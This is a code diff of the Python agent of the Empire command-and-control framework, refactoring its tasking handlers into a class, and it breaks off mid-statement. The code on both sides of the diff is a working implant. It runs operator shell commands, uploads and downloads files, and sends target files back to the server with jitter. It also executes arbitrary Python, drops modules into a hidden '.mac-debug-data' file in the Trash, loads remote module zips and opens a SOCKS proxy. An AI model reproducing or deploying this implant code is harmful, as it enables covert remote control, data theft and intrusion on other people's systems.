################################################ -def decode_routing_packet(data): - """ - Parse ALL routing packets and only process the ones applicable - to this agent. - """ - # returns {sessionID : (language, meta, additional, [encData]), ...} - packets = parse_routing_packet(stagingKey, data) - if packets is None: - return - for agentID, packet in packets.items(): - if agentID == sessionID: - (language, meta, additional, encData) = packet - # if meta == 'SERVER_RESPONSE': - process_tasking(encData) - else: - # TODO: how to handle forwarding on other agent routing packets? - pass - - -def build_response_packet(taskingID, packetData, resultID=0): - """ - Build a task packet for an agent. - - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data - - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ - """ - packetType = struct.pack("=H", taskingID) - totalPacket = struct.pack("=H", 1) - packetNum = struct.pack("=H", 1) - resultID = struct.pack("=H", resultID) - - if packetData: - if isinstance(packetData, str): - packetData = base64.b64encode(packetData.encode("utf-8", "ignore")) - else: - packetData = base64.b64encode( - packetData.decode("utf-8").encode("utf-8", "ignore") - ) - if len(packetData) % 4: - packetData += "=" * (4 - len(packetData) % 4) - - length = struct.pack("=L", len(packetData)) - return packetType + totalPacket + packetNum + resultID + length + packetData - else: - length = struct.pack("=L", 0) - return packetType + totalPacket + packetNum + resultID + length +# [0] = .py ext, is_package = False +# [1] = /__init__.py ext, is_package = True +_search_order = [(".py", False), ("/__init__.py", True)] -def parse_task_packet(packet, offset=0): - """ - Parse a result packet- - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data +class ZipImportError(ImportError): + """Exception raised by zipimporter objects.""" + pass - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ - Returns a tuple with (responseName, length, data, remainingData) +# _get_info() = takes the fullname, then subpackage name (if applicable), +# and searches for the respective module or package - Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData) - """ - try: - packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0] - totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0] - packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0] - resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0] - length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0] - packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length] - remainingData = packet.decode("UTF-8")[12 + offset + length :] - - return ( - packetType, - totalPacket, - packetNum, - resultID, - length, - packetData, - remainingData, - ) - except Exception as e: - print("parse_task_packet exception:", e) - return (None, None, None, None, None, None, None) - - -def process_tasking(data): - # processes an encrypted data packet - # -decrypts/verifies the response to get - # -extracts the packets and processes each - try: - # aes_decrypt_and_verify is in stager.py - tasking = aes_decrypt_and_verify(key, data).encode("UTF-8") - - ( - packetType, - totalPacket, - packetNum, - resultID, - length, - data, - remainingData, - ) = parse_task_packet(tasking) - - # if we get to this point, we have a legit tasking so reset missedCheckins - missedCheckins = 0 - - # execute/process the packets and get any response - resultPackets = "" - result = process_packet(packetType, data, resultID) - - if result: - resultPackets += result - - packetOffset = 12 + length - while remainingData and remainingData != "": - ( - packetType, - totalPacket, - packetNum, - resultID, - length, - data, - remainingData, - ) = parse_task_packet(tasking, offset=packetOffset) - result = process_packet(packetType, data, resultID) - if result: - resultPackets += result - packetOffset += 12 + length +class CFinder(object): + """Import Hook for Empire""" - # send_message() is patched in from the listener module - send_message(resultPackets) + def __init__(self, repoName): + self.repoName = repoName - except Exception as e: - # print "processTasking exception:",e - pass + def _get_info(self, repoName, fullname): + """Search for the respective package or module in the zipfile object""" + parts = fullname.split(".") + submodule = parts[-1] + modulepath = "/".join(parts) + # check to see if that specific module exists + for suffix, is_package in _search_order: + relpath = modulepath + suffix + try: + moduleRepo[repoName].getinfo(relpath) + except KeyError: + pass + else: + return submodule, is_package, relpath -def process_job_tasking(result): - # process job data packets - # - returns to the C2 - # execute/process the packets and get any response - try: - resultPackets = b"" - if result: - resultPackets += result - # send packets - send_message(resultPackets) - except Exception as e: - print("processJobTasking exception:", e) - pass + # Error out if we can find the module/package + msg = "Unable to locate module %s in the %s repo" % (submodule, repoName) + raise ZipImportError(msg) + def _get_source(self, repoName, fullname): + """Get the source code for the requested module""" + submodule, is_package, relpath = self._get_info(repoName, fullname) + fullpath = "%s/%s" % (repoName, relpath) + source = moduleRepo[repoName].read(relpath) + source = source.replace("\r\n", "\n") + source = source.replace("\r", "\n") + return submodule, is_package, fullpath, source -def process_packet(packetType, data, resultID): - try: - packetType = int(packetType) - except Exception as e: - return None - if packetType == 1: - # sysinfo request - # get_sysinfo should be exposed from stager.py - send_message(build_response_packet(1, get_sysinfo(), resultID)) + def find_module(self, fullname, path=None): - elif packetType == 2: - # agent exit - send_message(build_response_packet(2, "", resultID)) - agent_exit() + try: + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + except ImportError: + return None + else: + return self - elif packetType == 34: - proxy_list = json.loads(data) - update_proxychain(proxy_list) + def load_module(self, fullname): + submodule, is_package, fullpath, source = self._get_source( + self.repoName, fullname + ) + code = compile(source, fullpath, "exec") + mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) + mod.__loader__ = self + mod.__file__ = fullpath + mod.__name__ = fullname + if is_package: + mod.__path__ = [os.path.dirname(mod.__file__)] + exec(code, mod.__dict__) + return mod - elif packetType == 40: - # run a command - parts = data.split(" ") - if len(parts) == 1: - data = parts[0] - resultData = str(run_command(data)) - send_message(build_response_packet(40, resultData, resultID)) - else: - cmd = parts[0] - cmdargs = " ".join(parts[1 : len(parts)]) - resultData = str(run_command(cmd, cmdargs=cmdargs)) - send_message(build_response_packet(40, resultData, resultID)) + def get_data(self, fullpath): - elif packetType == 41: - # file download - objPath = os.path.abspath(data) - fileList = [] - if not os.path.exists(objPath): - send_message( - build_response_packet( - 40, "file does not exist or cannot be accessed", resultID - ) + prefix = os.path.join(self.repoName, "") + if not fullpath.startswith(prefix): + raise IOError( + "Path %r does not start with module name %r", (fullpath, prefix) ) + relpath = fullpath[len(prefix) :] + try: + return moduleRepo[self.repoName].read(relpath) + except KeyError: + raise IOError("Path %r not found in repo %r" % (relpath, self.repoName)) - if not os.path.isdir(objPath): - fileList.append(objPath) - else: - # recursive dir listing - for folder, subs, files in os.walk(objPath): - for filename in files: - # dont care about symlinks - if os.path.exists(objPath): - fileList.append(objPath + "/" + filename) - - for filePath in fileList: - offset = 0 - size = os.path.getsize(filePath) - partIndex = 0 + def is_package(self, fullname): + """Return if the module is a package""" + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + return is_package - while True: + def get_code(self, fullname): + submodule, is_package, fullpath, source = self._get_source( + self.repoName, fullname + ) + return compile(source, fullpath, "exec") - # get 512kb of the given file starting at the specified offset - encodedPart = get_file_part(filePath, offset=offset, base64=False) - c = compress() - start_crc32 = c.crc32_data(encodedPart) - comp_data = c.comp_data(encodedPart) - encodedPart = c.build_header(comp_data, start_crc32) - encodedPart = base64.b64encode(encodedPart).decode("UTF-8") + def install_hook(repoName): + if repoName not in _meta_cache: + finder = CFinder(repoName) + _meta_cache[repoName] = finder + sys.meta_path.append(finder) - partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart) - if not encodedPart or encodedPart == "" or len(encodedPart) == 16: - break + def remove_hook(repoName): + if repoName in _meta_cache: + finder = _meta_cache.pop(repoName) + sys.meta_path.remove(finder) - send_message(build_response_packet(41, partData, resultID)) - global delay - global jitter - time.sleep(sleep_time(jitter)) - partIndex += 1 - offset += 512000 +################################################ +# +# Socks Server +# +################################################ +class Server(secretsocks.Server): + # Initialize our data channel + def __init__(self, q, resultID): + secretsocks.Server.__init__(self) + self.queue = q + self.resultID = resultID + self.alive = True + self.start() + + # Receive data from our data channel and push it to the receive queue + def recv(self): + while self.alive: + try: + data = self.queue.get() + self.recvbuf.put(data) + except socket.timeout: + continue + except: + self.alive = False - elif packetType == 42: - # file upload - try: - parts = data.split("|") - filePath = parts[0] - base64part = parts[1] - raw = base64.b64decode(base64part) - with open(filePath, "ab") as f: - f.write(raw) - send_message( - build_response_packet( - 42, "[*] Upload of %s successful" % (filePath), resultID - ) - ) - except Exception as e: - send_message( - build_response_packet( - 0, - "[!] Error in writing file %s during upload: %s" - % (filePath, str(e)), - resultID, + # Take data from the write queue and send it over our data channel + def write(self): + while self.alive: + try: + data = self.writebuf.get(timeout=10) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 61, base64.b64encode(data).decode("UTF-8"), self.resultID + ) ) - ) - - elif packetType == 43: - # directory list - cmdargs = data + except Queue.Empty: + continue + except: + self.alive = False - path = "/" # default to root - if ( - cmdargs is not None and cmdargs != "" and cmdargs != "/" - ): # strip trailing slash for uniformity - path = cmdargs.rstrip("/") - if path[0] != "/": # always scan relative to root for uniformity - path = "/{0}".format(path) - if not os.path.isdir(path): - send_message( - build_response_packet( - 43, "Directory {} not found.".format(path), resultID - ) - ) - items = [] - with os.scandir(path) as it: - for entry in it: - items.append( - {"path": entry.path, "name": entry.name, "is_file": entry.is_file()} - ) - result_data = json.dumps( - { - "directory_name": path if len(path) == 1 else path.split("/")[-1], - "directory_path": path, - "items": items, - } - ) +################################################ +# +# misc methods +# +################################################ +class compress(object): + """ + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. + """ - send_message(build_response_packet(43, result_data, resultID)) + CRC_HSIZE = 4 + COMP_RATIO = 9 - elif packetType == 44: - # run csharp module in ironpython using reflection - send_message( - build_response_packet( - 60, "[!] C# module execution not implemented", resultID - ) - ) + def __init__(self, verbose=False): + """ + Populates init. + """ + pass - elif packetType == 50: - # return the currently running jobs - msg = "Active jobs:\n" + def comp_data(self, data, cvalue=COMP_RATIO): + """ + Takes in a string and computes + the comp obj. + data = string wanting compression + cvalue = 0-9 comp value (default 6) + """ + cdata = zlib.compress(data, cvalue) + return cdata - for key in jobs: - msg += "Task %s" % key - send_message(build_response_packet(50, msg, resultID)) + def crc32_data(self, data): + """ + Takes in a string and computes crc32 value. + data = string before compression + returns: + HEX bytes of data + """ + crc = zlib.crc32(data) & 0xFFFFFFFF + return crc - elif packetType == 51: - # stop and remove a specified job if it's running - try: - jobs[int(data)].kill() - jobs.pop(int(data)) - send_message( - build_response_packet( - 51, "[+] Job thread %s stopped successfully" % (data), resultID - ) - ) - except Exception as e: - send_message( - build_response_packet( - 51, "[!] Error stopping job thread: %s" % (e), resultID - ) - ) - - elif packetType == 60: - send_message( - build_response_packet(60, "[!] SOCKS server not implemented", resultID) - ) - - elif packetType == 61: - send_message( - build_response_packet(0, "[!] SOCKS server data not implemented", resultID) - ) - - elif packetType == 100: - # dynamic code execution, wait for output, don't save output - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - results = buffer.getvalue() - send_message(build_response_packet(100, str(results), resultID)) - except Exception as e: - errorData = str(buffer.getvalue()) - return build_response_packet( - 0, - "error executing specified Python data: %s \nBuffer data recovered:\n%s" - % (e, errorData), - resultID, - ) - - elif packetType == 101: - # dynamic code execution, wait for output, save output - prefix = data[0:15].strip() - extension = data[15:20].strip() - data = data[20:] - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(data, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - results = buffer.getvalue().encode("latin-1") - c = compress() - start_crc32 = c.crc32_data(results) - comp_data = c.comp_data(results) - encodedPart = c.build_header(comp_data, start_crc32) - encodedPart = base64.b64encode(encodedPart).decode("UTF-8") - send_message( - build_response_packet( - 101, - "{0: <15}".format(prefix) - + "{0: <5}".format(extension) - + encodedPart, - resultID, - ) - ) - except Exception as e: - # Also return partial code that has been executed - errorData = buffer.getvalue() - send_message( - build_response_packet( - 0, - "error executing specified Python data %s \nBuffer data recovered:\n%s" - % (e, errorData), - resultID, - ) - ) - - elif packetType == 102: - # on disk code execution for modules that require multiprocessing not supported by exec - try: - implantHome = expanduser("~") + "/.Trash/" - moduleName = ".mac-debug-data" - implantPath = implantHome + moduleName - result = "[*] Module disk path: %s \n" % (implantPath) - with open(implantPath, "w") as f: - f.write(data) - result += "[*] Module properly dropped to disk \n" - pythonCommand = "python %s" % (implantPath) - process = subprocess.Popen( - pythonCommand, stdout=subprocess.PIPE, shell=True - ) - data = process.communicate() - result += data[0].strip() - try: - os.remove(implantPath) - result += "[*] Module path was properly removed: %s" % (implantPath) - except Exception as e: - print("error removing module filed: %s" % (e)) - fileCheck = os.path.isfile(implantPath) - if fileCheck: - result += "\n\nError removing module file, please verify path: " + str( - implantPath - ) - send_message(build_response_packet(100, str(result), resultID)) - except Exception as e: - fileCheck = os.path.isfile(implantPath) - if fileCheck: - send_message( - build_response_packet( - 0, - "error executing specified Python data: %s \nError removing module file, please verify path: %s" - % (e, implantPath), - resultID, - ) - ) - send_message( - build_response_packet( - 0, "error executing specified Python data: %s" % (e), resultID - ) - ) - - elif packetType == 110: - start_job(data, resultID) + def build_header(self, data, crc): + """ + Takes comp data, org crc32 value, + and adds self header. + data = comp data + crc = crc32 value + """ + header = struct.pack("!I", crc) + built_data = header + data + return built_data - elif packetType == 111: - # TASK_CMD_JOB_SAVE - # TODO: implement job structure - pass - elif packetType == 112: - # powershell task - send_message( - build_response_packet(60, "[!] PowerShell tasks not implemented", resultID) - ) +class decompress(object): + """ + Base clase for init of the package. This will handle + the initial object creation for conducting basic functions. + """ - elif packetType == 118: - # PowerShel Task - dynamic code execution, wait for output, don't save output - send_message( - build_response_packet(60, "[!] PowerShell tasks not implemented", resultID) - ) + CRC_HSIZE = 4 + COMP_RATIO = 9 - elif packetType == 119: + def __init__(self, verbose=False): + """ + Populates init. + """ pass - elif packetType == 121: - # base64 decode the script and execute - script = base64.b64decode(data) - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(script, "", "exec") - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - result = str(buffer.getvalue()) - send_message(build_response_packet(121, result, resultID)) - except Exception as e: - errorData = str(buffer.getvalue()) - send_message( - build_response_packet( - 0, - "error executing specified Python data %s \nBuffer data recovered:\n%s" - % (e, errorData), - resultID, - ) - ) + def dec_data(self, data, cheader=True): + """ + Takes: + Custom / standard header data + data = comp data with zlib header + BOOL cheader = passing custom crc32 header + returns: + dict with crc32 cheack and dec data string + ex. {"crc32" : true, "dec_data" : "-SNIP-"} + """ + if cheader: + comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0] + dec_data = zlib.decompress(data[self.CRC_HSIZE :]) + dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF + if comp_crc32 == dec_crc32: + crc32 = True + else: + crc32 = False + return { + "header_crc32": comp_crc32, + "dec_crc32": dec_crc32, + "crc32_check": crc32, + "data": dec_data, + } + else: + dec_data = zlib.decompress(data) + return dec_data - elif packetType == 122: - # base64 decode and decompress the data - try: - parts = data.split("|") - base64part = parts[1] - fileName = parts[0] - raw = base64.b64decode(base64part) - d = decompress() - dec_data = d.dec_data(raw, cheader=True) - if not dec_data["crc32_check"]: - send_message( - build_response_packet( - 122, "Failed crc32_check during decompression", resultID - ) - ) - except Exception as e: - send_message( - build_response_packet( - 122, "Unable to decompress zip file: %s" % (e), resultID - ) - ) - zdata = dec_data["data"] - zf = zipfile.ZipFile(io.BytesIO(zdata), "r") - if fileName in list(moduleRepo.keys()): - send_message( - build_response_packet( - 122, "%s module already exists" % (fileName), resultID - ) - ) - else: - moduleRepo[fileName] = zf - install_hook(fileName) - send_message( - build_response_packet( - 122, "Successfully imported %s" % (fileName), resultID - ) - ) +def indent(lines, amount=4, ch=" "): + padding = amount * ch + return padding + ("\n" + padding).join(lines.split("\n")) - elif packetType == 123: - # view loaded modules - repoName = data - if repoName == "": - loadedModules = "\nAll Repos\n" - for key, value in list(moduleRepo.items()): - loadedModules += "\n----" + key + "----\n" - loadedModules += "\n".join(moduleRepo[key].namelist()) - send_message(build_response_packet(123, loadedModules, resultID)) - else: - try: - loadedModules = "\n----" + repoName + "----\n" - loadedModules += "\n".join(moduleRepo[repoName].namelist()) - send_message(build_response_packet(123, loadedModules, resultID)) - except Exception as e: - msg = "Unable to retrieve repo contents: %s" % (str(e)) - send_message(build_response_packet(123, msg, resultID)) +# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python +class ThreadWithReturnValue(Thread): + def __init__( + self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None + ): + Thread.__init__(self, group, target, name, args, kwargs, Verbose) + self._return = None - elif packetType == 124: - # remove module - repoName = data - try: - remove_hook(repoName) - del moduleRepo[repoName] - send_message( - build_response_packet( - 124, "Successfully remove repo: %s" % (repoName), resultID - ) - ) - except Exception as e: - send_message( - build_response_packet( - 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID - ) + def run(self): + if self._Thread__target is not None: + self._return = self._Thread__target( + *self._Thread__args, **self._Thread__kwargs ) - elif packetType == 130: - # Dynamically update agent comms - send_message( - build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID - ) - ) + def join(self): + Thread.join(self) + return self._return - elif packetType == 131: - # Update the listener name variable - send_message( - build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID - ) - ) - else: - send_message( - build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) - ) +class KThread(threading.Thread): + """A subclass of threading.Thread, with a kill() + method.""" + def __init__(self, *args, **keywords): + threading.Thread.__init__(self, *args, **keywords) + self.killed = False -def old_div(a, b): - """ - Equivalent to ``a / b`` on Python 2 without ``from __future__ import - division``. - """ - if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): - return a // b - else: - return a / b + def start(self): + """Start the thread.""" + self.__run_backup = self.run + self.run = self.__run # Force the Thread to install our trace. + threading.Thread.start(self) + def __run(self): + """Hacked run function, which installs the + trace.""" + sys.settrace(self.globaltrace) + self.__run_backup() + self.run = self.__run_backup -################################################ -# -# Custom Import Hook -# #adapted from https://github.com/sulinx/remote_importer -# -################################################ + def globaltrace(self, frame, why, arg): + if why == "call": + return self.localtrace + else: + return None -# [0] = .py ext, is_package = False -# [1] = /__init__.py ext, is_package = True -_search_order = [(".py", False), ("/__init__.py", True)] + def localtrace(self, frame, why, arg): + if self.killed: + if why == "line": + raise SystemExit() + return self.localtrace + def kill(self): + self.killed = True -class ZipImportError(ImportError): - """Exception raised by zipimporter objects.""" - pass +class MainAgent: + def __init__(self, + packet_handler, + profile, + server, + session_id, + kill_date, + working_hours, + delay=60, + jitter=0.0, + lost_limit=60 + ): + + if server.endswith("/"): + server = server[0:-1] + self.server = server.rstrip("/") + + # Functions that need to be passed in + # self.packet_handler = ExtendedPacketHandler(self, staging_key=staging_key, session_id=session_id, key=key) + self.packet_handler = packet_handler + self.profile = profile + self.delay = delay + self.jitter = jitter + self.lostLimit = lost_limit + self.kill_date = kill_date + self.working_hours = working_hours + self.defaultResponse = base64.b64decode("") + self.packet_handler.missedCheckins = 0 + self.sessionID = session_id + self.jobMessageBuffer = "" + self.socksthread = False + self.socksqueue = None + self.jobs = {} + + parts = self.profile.split("|") + self.userAgent = parts[1] + headersRaw = parts[2:] + + self.headers = {"User-Agent": self.userAgent} + + for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + if headerKey.lower() == "cookie": + self.headers["Cookie"] = "%s;%s" % (self.headers["Cookie"], headerValue) + else: + self.headers[headerKey] = headerValue + except: + pass -# _get_info() = takes the fullname, then subpackage name (if applicable), -# and searches for the respective module or package + def agent_exit(self): + # exit for proper job / thread cleanup + if len(self.jobs) > 0: + try: + for x in self.jobs: + self.jobs[x].kill() + self.jobs.pop(x) + except: + # die hard if thread kill fails + pass + sys.exit() + def send_job_message_buffer(self): + if len(self.jobs) > 0: + result = self.get_job_message_buffer() + self.packet_handler.process_job_tasking(result) + else: + pass -class CFinder(object): - """Import Hook for Empire""" + def run_prebuilt_command(self, data, resultID): + """ + Run a command on the system and return the results. + Task 40 + """ + parts = data.split(" ") + if len(parts) == 1: + data = parts[0] + resultData = str(self.run_command(data)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) + else: + cmd = parts[0] + cmdargs = " ".join(parts[1: len(parts)]) + resultData = str(self.run_command(cmd, cmdargs=cmdargs)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) - def __init__(self, repoName): - self.repoName = repoName + def file_download(self, data, resultID): + """ + Download a file from the server. + Task 41 + """ + objPath = os.path.abspath(data) + fileList = [] + if not os.path.exists(objPath): + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 40, "file does not exist or cannot be accessed", resultID + ) + ) - def _get_info(self, repoName, fullname): - """Search for the respective package or module in the zipfile object""" - parts = fullname.split(".") - submodule = parts[-1] - modulepath = "/".join(parts) + if not os.path.isdir(objPath): + fileList.append(objPath) + else: + # recursive dir listing + for folder, subs, files in os.walk(objPath): + for filename in files: + # dont care about symlinks + if os.path.exists(objPath): + fileList.append(objPath + "/" + filename) - # check to see if that specific module exists - for suffix, is_package in _search_order: - relpath = modulepath + suffix - try: - moduleRepo[repoName].getinfo(relpath) - except KeyError: - pass - else: - return submodule, is_package, relpath + for filePath in fileList: + offset = 0 + size = os.path.getsize(filePath) + partIndex = 0 - # Error out if we can find the module/package - msg = "Unable to locate module %s in the %s repo" % (submodule, repoName) - raise ZipImportError(msg) + while True: - def _get_source(self, repoName, fullname): - """Get the source code for the requested module""" - submodule, is_package, relpath = self._get_info(repoName, fullname) - fullpath = "%s/%s" % (repoName, relpath) - source = moduleRepo[repoName].read(relpath) - source = source.replace("\r\n", "\n") - source = source.replace("\r", "\n") - return submodule, is_package, fullpath, source + # get 512kb of the given file starting at the specified offset + encodedPart = self.get_file_part(filePath, offset=offset, base64=False) + c = compress() + start_crc32 = c.crc32_data(encodedPart) + comp_data = c.comp_data(encodedPart) + encodedPart = c.build_header(comp_data, start_crc32) + encodedPart = base64.b64encode(encodedPart).decode("UTF-8") - def find_module(self, fullname, path=None): + partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart) + if not encodedPart or encodedPart == "" or len(encodedPart) == 16: + break - try: - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - except ImportError: - return None - else: - return self + self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID)) - def load_module(self, fullname): - submodule, is_package, fullpath, source = self._get_source( - self.repoName, fullname - ) - code = compile(source, fullpath, "exec") - mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) - mod.__loader__ = self - mod.__file__ = fullpath - mod.__name__ = fullname - if is_package: - mod.__path__ = [os.path.dirname(mod.__file__)] - exec(code, mod.__dict__) - return mod + minSleep = int((1.0 - self.jitter) * self.delay) + maxSleep = int((1.0 + self.jitter) * self.delay) + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + partIndex += 1 + offset += 512000 - def get_data(self, fullpath): + def file_upload(self, data, resultID): + """ + Upload a file to the server. + Task 42 + """ + try: + parts = data.split("|") + filePath = parts[0] + base64part = parts[1] + raw = base64.b64decode(base64part) + with open(filePath, "ab") as f: + f.write(raw) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 42, "[*] Upload of %s successful" % (filePath), resultID + ) + ) + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, + "[!] Error in writing file %s during upload: %s" + % (filePath, str(e)), + resultID, + ) + ) - prefix = os.path.join(self.repoName, "") - if not fullpath.startswith(prefix): - raise IOError( - "Path %r does not start with module name %r", (fullpath, prefix) + def directory_list(self, data, resultID): + """ + List a directory on the target. + Task 43 + """ + cmdargs = data + + path = "/" # default to root + if ( + cmdargs is not None and cmdargs != "" and cmdargs != "/" + ): # strip trailing slash for uniformity + path = cmdargs.rstrip("/") + if path[0] != "/": # always scan relative to root for uniformity + path = "/{0}".format(path) + if not os.path.isdir(path): + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 43, "Directory {} not found.".format(path), resultID + ) ) - relpath = fullpath[len(prefix) :] - try: - return moduleRepo[self.repoName].read(relpath) - except KeyError: - raise IOError("Path %r not found in repo %r" % (relpath, self.repoName)) + items = [] + with os.scandir(path) as it: + for entry in it: + items.append( + {"path": entry.path, "name": entry.name, "is_file": entry.is_file()} + ) - def is_package(self, fullname): - """Return if the module is a package""" - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - return is_package + result_data = json.dumps( + { + "directory_name": path if len(path) == 1 else path.split("/")[-1], + "directory_path": path, + "items": items, + } + ) - def get_code(self, fullname): - submodule, is_package, fullpath, source = self._get_source( - self.repoName, fullname + self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID)) + + def csharp_execute(self, data, resultID): + """ + Execute C# module in ironpython using reflection + Task 44 + """ + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 44, "[!] C# module execution not implemented", resultID + ) ) - return compile(source, fullpath, "exec") - def install_hook(repoName): - if repoName not in _meta_cache: - finder = CFinder(repoName) - _meta_cache[repoName] = finder - sys.meta_path.append(finder) + def job_list(self, resultID): + """ + Return a list of all running agent.jobs. + Task 50 + """ + msg = "Active agent.jobs:\n" - def remove_hook(repoName): - if repoName in _meta_cache: - finder = _meta_cache.pop(repoName) - sys.meta_path.remove(finder) + for key in self.jobs: + msg += "Task %s" % key + self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID)) + def stop_job(self, jobID, resultID): + """ + Stop a running job. + Task 51 + """ + try: + self.jobs[int(jobID)].kill() + self.jobs.pop(int(jobID)) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[+] Job thread %s stopped successfully" % (jobID), resultID + ) + ) + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[!] Error stopping job thread: %s" % (e), resultID + ) + ) -################################################ -# -# misc methods -# -################################################ -class compress(object): - """ - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - """ + def start_socks_server(self, resultID): + """ + Start a SOCKS server on the target. + Task 60 + """ + # Create a server object in its own thread + if not self.socksthread: + try: + self.socksqueue = Queue.Queue() + self.jobs[resultID] = KThread( + target=Server, + args=( + self.socksqueue, + resultID, + ), + ) + self.jobs[resultID].daemon = True + self.jobs[resultID].start() + self.socksthread = True + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[+] SOCKS server successfully started", resultID + ) + ) + except: + self.socksthread = False + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 60, "[!] SOCKS server failed to start", resultID + ) + ) + else: + self.packet_handler.send_message( + self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", resultID) + ) - CRC_HSIZE = 4 - COMP_RATIO = 9 + def start_smb_pipe_server(self, data, resultID): + """ + Start an SMB pipe server on the target. + Task 70 + """ + self.packet_handler.send_message( + self.packet_handler.build_response_packet(70, "[!] SMB server not support in Python agent", resultID) + ) - def __init__(self, verbose=False): + def dynamic_code_execute_wait_nosave(self, data, resultID): """ - Populates init. + Execute dynamic code and wait for the results without saving output. + Task 100 """ - pass + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(data, "", "exec") + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + results = buffer.getvalue() + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID)) + except Exception as e: + errorData = str(buffer.getvalue()) + return self.packet_handler.build_response_packet( + 0, + "error executing specified Python data: %s \nBuffer data recovered:\n%s" + % (e, errorData), + resultID, + ) - def comp_data(self, data, cvalue=COMP_RATIO): + def dynamic_code_execution_wait_save(self, data, resultID): """ - Takes in a string and computes - the comp obj. - data = string wanting compression - cvalue = 0-9 comp value (default 6) + Execute dynamic code and wait for the results while saving output. + Task 101 """ - cdata = zlib.compress(data, cvalue) - return cdata + prefix = data[0:15].strip() + extension = data[15:20].strip() + data = data[20:] + try: + buffer = StringIO() + sys.stdout = buffer + code_obj = compile(data, "", "exec") + exec(code_obj, globals()) + sys.stdout = sys.__stdout__ + results = buffer.getvalue().encode("latin-1") + c = compress() + start_crc32 = c.crc32_data(results) + comp_data = c.comp_data(results) + encodedPart = c.build_header(comp_data, start_crc32) + encodedPart = base64.b64encode(encodedPart).decode("UTF-8") + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 101, + "{0: <15}".format(prefix) + + "{0: <5}".format(extension) + + encodedPart, + resultID, + ) + ) + except Exception as e: + # Also return partial code that has been executed + errorData = buffer.getvalue() + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 0, + "error executing specified Python data %s \nBuffer data recovered:\n%s" + % (e, errorData), + resultID, + ) + ) - def crc32_data(self, data): + def disk_code_execution_wait_save(self, data, resultID): """ - Takes in a string and computes crc32 value. - data = string before compression - returns: - HEX bytes of data + Execute on disk code and wait for the results while saving output. + For modules that require multiprocessing not supported by exec + Task 110 """ - crc = zlib.crc32(data) & 0xFFFFFFFF - return crc + # todo: is this used? + try: + implantHome = expanduser("~") + "/.Trash/" + moduleName = ".mac-debug-data" + implantPath = implantHome + moduleName + result = "[*] Module disk path: %s \n" % (implantPath) + with open(implantPath, "w") as f: + f.write(data) + result += "[*] Module properly dropped to disk \n" + pythonCommand = "python %s" % (implantPath) + process = subprocess.Popen( + pythonCommand, stdout=subprocess.PIPE, shell=True + ) + data = process.communicate() + result += data[0].strip() + try: + os.remove(implantPath) + result += "[*] Module path was properly removed: %s" % (implantPath) + except Exception as e: + print("error removing module filed: %s" 